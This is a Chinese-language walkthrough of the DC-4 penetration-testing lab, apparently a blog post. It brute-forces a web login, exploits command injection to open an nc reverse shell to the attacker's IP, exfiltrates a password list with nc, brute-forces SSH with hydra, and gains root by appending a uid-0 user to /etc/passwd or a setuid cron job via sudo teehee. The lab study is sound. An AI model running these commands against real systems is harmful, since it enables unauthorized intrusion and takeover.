9.100个渗透测试实战#9(DC-4)

世间一切皆可努力

                                                                                                                                                                                    感谢浏览

目录

 

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

2.查看靶机页面;

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)

4.分析所得:

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

2.分析所得:

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

2.在扫描的同时,访问主页、robots.txt、指纹识别;

3.访问以上扫描的结果;

4.分析所得:

5.结合BP暴力破解该网站后台;

6.关闭BP代理,使用破解的密码happy登录后台;

7.分析所得:

(四)渗透测试——利用命令执行漏洞,Getshell

1.kali侦听,命令执行漏洞发起连接请求;

2.转换为交互式shell;

(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限

1.开始致命连问;

2.分析所得:

3.hydra暴力破解ssh服务;

4.使用ssh连接工具,连接jim,进一步信息收集;

5.切换用户到charles,进一步信息收集;

6.使用teehee提权;

7.获取root家目录下的flag;

(七)清楚痕迹,留下后门

四、总结

1.在一定情况下是可以进行暴力破解登录框的(结合BP);

2.使用teehee命令的-a参数,可以写用户进/etc/passwd,也可以写定时任务/etc/crontab;


一、实验环境

  • 靶机:DC-4,IP地址:192.168.97.155
  • 测试机:Kali,IP地址:192.168.97.129
  • 测试机:物理机Win10
  • 连接方式:NAT

二、实验流程

  • 信息收集——主机发现阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80端口(BP暴力破解登录框)
  • 渗透测试——Getshell(命令执行漏洞:nc -nv 192.168.97.129 8443 -c bash)
  • 渗透测试——22端口获取jim的shell
  • 渗透测试——通过提示获取charles的shell
  • 渗透测试——本地提权(通过sudo -l的提示进行teehee提权)
  • 清楚痕迹,留下后门

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

  • ifconfig -a

       -a    显示详细信息

2.查看靶机页面;

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)

  • netdiscover -i eth0 -r 192.168.97.0/24

           -i   指定出口网卡

           -r   指定待扫描网段

  • arp-scan -l

           --localnet or -l    指定扫描本地网络 

  • nmap -sP 192.168.97.0/24

           -sP   ping扫描且不扫描端口

4.分析所得:

  • 靶机:192.168.97.155
  • 测试机kali:192.168.97.129

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

  • nmap -p- -sV -O -A 192.168.97.129

            -p-      扫描全端口

            -sV     扫描端口的服务信息

            -O/A   扫描靶机的运行的操作系统信息

2.分析所得:

  • 共扫描65535个端口,只有两个端口打开;
  • 22端口处于open状态,对应开启了ssh服务;
  • 80端口处于open状态,对应开启了http服务,使用中间件是nginx;
  • 靶机的操作系统是Debian,推测内核版本是3.2-4.9之间;

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

  • dirb http://192.168.97.155 /usr/share/dirb/wordlists/big.txt

            如下图所示,就两个目录:css和images

  • 御剑扫描,http://192.168.97.155

2.在扫描的同时,访问主页、robots.txt、指纹识别;

  • http://192.168.97.155

          如下图所示,这个是admin管理员用户后台登录页面,f12也无可用信息

  • http://192.168.97.155/robots.txt

  • whatweb http://192.168.97.155

3.访问以上扫描的结果;

  • http://192.168.97.155/css

  • http://192.168.97.155/images

4.分析所得:

  • 一个登录页面,用户名猜测是admin;
  • 可以试试暴力破解。。。

5.结合BP暴力破解该网站后台;

  • 火狐浏览器使用FoxyProxy,打开BP代理

  • BP拦截

  • 设置Positions

  • 设置payloads

  • 点击start attack

            如下图所示,破解出密码为happy

6.关闭BP代理,使用破解的密码happy登录后台;

  • admin:happy

           如下图所示,登录成功,发现了命令执行漏洞;

  • 打开BP代理,结合BP,测试命令执行漏洞

           如下图所示,发现了空格被+代替

  • ctrl+r,送入repeater模块,进行多次尝试

  • cat+/etc/passwd

           如下图所示,发现了三个可疑用户

7.分析所得:

  • 利用nc -nv 192.168.97.129 -c bash或者nc -e /bin/bash 192.168.97.129反弹shell;

(四)渗透测试——利用命令执行漏洞,Getshell

1.kali侦听,命令执行漏洞发起连接请求;

  • kali开启侦听,nc -nvlp 8443

  • BP拦截命令----->修改命令为:nc -nv 192.168.97.129 8443 -c bash  ------>Forward放通即可

              把+替换成空白得:nc+-nv+192.168.97.129+8443+-c+bash

  • Forward放通后,反弹后的shell如下图所示

2.转换为交互式shell;

  • python -c 'import pty;pty.spawn("/bin/bash")'

(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限

1.开始致命连问;

  • whoami

          如下图所示,当前用户是www-data

                 

                 在debian/ubuntu上,www-data是默认运行web服务的用户/组,一般在通过apt安装web服务程序时生成。搭建web服                     务的文件夹/文件一般要设置成www-data的

  • id

  • ls -l /home

  • ls -la /hoem/jim

          发现,只有jim的家目录下有三个文件:

               backups目录,其他人可读可执行

               mbox文件,其他人无任何权限

               test.sh文件,其他人可读可写可执行权限

  • ls -l /home/jim/backups

            如下图所示,发现了一个旧密码字典;

  • cat test.sh

           //我竟然看不懂。。。。。。。。

2.分析所得:

  • 在jim家目录里面发现了一个密码字典;
  • 一个看不懂的sh脚本;
  • 注意:还有ssh服务开启了,推测结合密码字典,使用ssh登录jim;

3.hydra暴力破解ssh服务;

  • 使用nc功能,把字典传输到kali

          kali:nc -lp 1234 > old-passwords.bak

          shell:nc -nv 192.168.97.129 1234 < old-passwords.bak

  • hydra -l jim -P pass.dic ssh://192.168.97.155 -s 22

         -l     小写的l,后紧跟用户名

         -P   大写的P,后紧跟密码字典

         ssh://   ssh服务

         -s    指定端口

       如下图所示,login:jim  password:jibril04

4.使用ssh连接工具,连接jim,进一步信息收集;

  • MobaXterm连接jim

         如下图所示,登录成功

  • cat mbox

        如下图所示,发现是一个mail

  • cd /var/mail
  • ls -l
  • cat jim

          如下图所示,发现了Charles的密码^xHhA&hvim0y(注意:由于是信的署名,字母首字母才是大写,所以用户名是                      charles)

5.切换用户到charles,进一步信息收集;

  • su charles

        密码:^xHhA&hvim0y

  • sudo -l

         如下图所示,发现了可以用root身份空密码使用/usr/bin/teehee命令

6.使用teehee提权;

第一种方法:向/etc/passwd里面直接写入一个用户,uid写为0,gid写为0

  • cat /etc/passwd

         如下图所示,/etc/passwd里存储的内容如下:用户名+密码+uid+gid+描述+家目录+/bin/bash

  • 根据/etc/passwd的提示,我们利用teehee命令向/etc/passwd内写一个uid和gid为0的用户(其用户名为teehee)

         echo "teehee::0:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

              |  管道符,把前面一个命令的输出当作后一个命令的输入进行其操作

              -a, --append              append to the given FILEs, do not overwrite(追加到给定文件,不覆盖)

  • cat /etc/passwd

           如下图所示,成功写入了用户teehee,且uid和gid为0,shell为/bin/bash,就有了root权限了

  • su teehee,切换用户,成为root

 

第二种提权方法:向/etc/crontab文件中写入新的定时任务,通过定时任务执行脚本提权

  • echo "* * * * * root chmod 4777 /bin/sh"  | sudo teehee -a /etc/crontab  

        时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限            修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限

  • cat /etc/crontab

  • ls -la /bin/sh
  • ls -la /bin/dash

  • /bin/sh   提升权限

7.获取root家目录下的flag;

  • cd /root
  • ls
  • cat flag.txt

(七)清楚痕迹,留下后门

四、总结

1.在一定情况下是可以进行暴力破解登录框的(结合BP);

2.使用teehee命令的-a参数,可以写用户进/etc/passwd,也可以写定时任务/etc/crontab;

 

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qwsn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值